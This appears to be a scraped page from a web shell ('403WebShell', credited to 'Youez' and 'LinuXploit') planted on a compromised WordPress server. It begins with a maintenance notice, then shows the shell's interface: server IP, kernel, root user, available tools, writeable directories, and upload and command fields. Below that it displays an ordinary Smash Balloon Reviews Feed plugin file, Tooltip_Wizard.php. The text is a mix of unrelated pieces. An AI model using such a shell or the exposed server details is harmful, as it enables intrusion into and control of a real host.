WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/tribe_david.broken/wp-content/plugins/reviews-feed/class/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tribe_david.broken/wp-content/plugins/reviews-feed/class/Common/Tooltip_Wizard.php
<?php

/**
 * SBR Tooltip Wizard
 *
 * @since 1.0
 */

namespace SmashBalloon\Reviews\Common;

if (! defined('ABSPATH')) {
	exit;
}

use Smashballoon\Stubs\Services\ServiceProvider;

class Tooltip_Wizard extends ServiceProvider
{
	public function register()
	{
		$this->init();
	}

	/**
	 * Initialize class.
	 *
	 * @since 1.0
	 */
	public function init()
	{

		$this->hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.0
	 */
	public function hooks()
	{
		add_action('admin_enqueue_scripts', [$this, 'enqueues']);
		add_action('admin_footer', [$this, 'output']);
	}


	/**
	 * Enqueue assets.
	 *
	 * @since 1.0
	 */
	public function enqueues()
	{

		wp_enqueue_style(
			'sbr-tooltipster-css',
			SBR_PLUGIN_URL . 'assets/admin/css/tooltipster.css',
			null,
			SBRVER
		);

		wp_enqueue_script(
			'sbr-tooltipster-js',
			SBR_PLUGIN_URL . 'assets/admin/js/jquery.tooltipster.min.js',
			['jquery'],
			SBRVER,
			true
		);

		wp_enqueue_script(
			'sbr-admin-tooltip-wizard',
			SBR_PLUGIN_URL . 'assets/admin/js/tooltip-wizard.js',
			['jquery'],
			SBRVER
		);

		$wp_localize_data = [];
		if ($this->check_gutenberg_wizard()) {
			$wp_localize_data['sbr_wizard_gutenberg'] = true;
		}

		wp_localize_script(
			'sbr-admin-tooltip-wizard',
			'sbr_admin_tooltip_wizard',
			$wp_localize_data
		);
	}

	/**
	 * Output HTML.
	 *
	 * @since 1.0
	 */
	public function output()
	{
		if ($this->check_gutenberg_wizard()) {
			$this->gutenberg_tooltip_output();
		}
	}

	/**
	 * Gutenberg Tooltip Output HTML.
	 *
	 * @since 1.0
	 */
	public function check_gutenberg_wizard()
	{
		global $pagenow;
		return (($pagenow == 'post.php') || (get_post_type() == 'page'))
			&& !empty($_GET['sbr_wizard']);
	}


	/**
	 * Gutenberg Tooltip Output HTML.
	 *
	 * @since 1.0
	 */
	public function gutenberg_tooltip_output()
	{
		?>
		<div id="sbr-gutenberg-tooltip-content">
			<div class="sbr-tlp-wizard-cls sbr-tlp-wizard-close"></div>
			<div class="sbr-tlp-wizard-content">
				<strong class="sbr-tooltip-wizard-head">
					<?php echo esc_html__('Add a Block', 'reviews-feed') ?>
				</strong>
				<p class="sbr-tooltip-wizard-txt">
					<?php echo esc_html__('Click the plus button, search for Reviews Feed', 'reviews-feed'); ?>
					<br />
					<?php echo esc_html__('and click the block to embed it.', 'reviews-feed') ?> <a
						href="https://smashballoon.com/doc/wordpress-5-block-page-editor-gutenberg/?facebook" rel="noopener"
						target="_blank">
						<?php echo esc_html__('Learn More', 'reviews-feed') ?>
					</a>
				</p>
				<div class="sbr-tooltip-wizard-actions">
					<button class="sbr-tlp-wizard-close">
						<?php echo esc_html__('Done', 'reviews-feed') ?>
					</button>
				</div>
			</div>
		</div>
		<?php
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit